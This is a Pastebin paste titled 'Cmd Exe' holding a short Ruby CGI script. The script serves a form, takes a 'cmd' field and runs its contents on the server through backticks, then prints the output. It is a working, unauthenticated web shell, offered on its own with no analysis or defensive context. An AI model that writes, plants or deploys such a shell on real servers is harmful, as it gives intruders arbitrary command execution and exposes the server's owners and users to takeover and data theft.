Advertisement
hamzakiller21

Cmd Exe

May 26th, 2014
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 0.34 KB | None | 0 0
  1. #!C:\Ruby\bin\ruby.exe
  2. require 'cgi'
  3. cgi = CGI.new
  4. puts cgi.header
  5. cmd=cgi['cmd']
  6. fo=cgi['go']
  7. print"<center><b>Exe Cmd</b><form method='post'> <input type='text' size='40' name='cmd'><br><input type='submit' name='go'></form><br>";
  8. if cgi['go']
  9. puts "<textarea  cols='80' rows='20' redonly> "
  10. print `#{cmd}`
  11. print "</textarea><br>"
  12. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement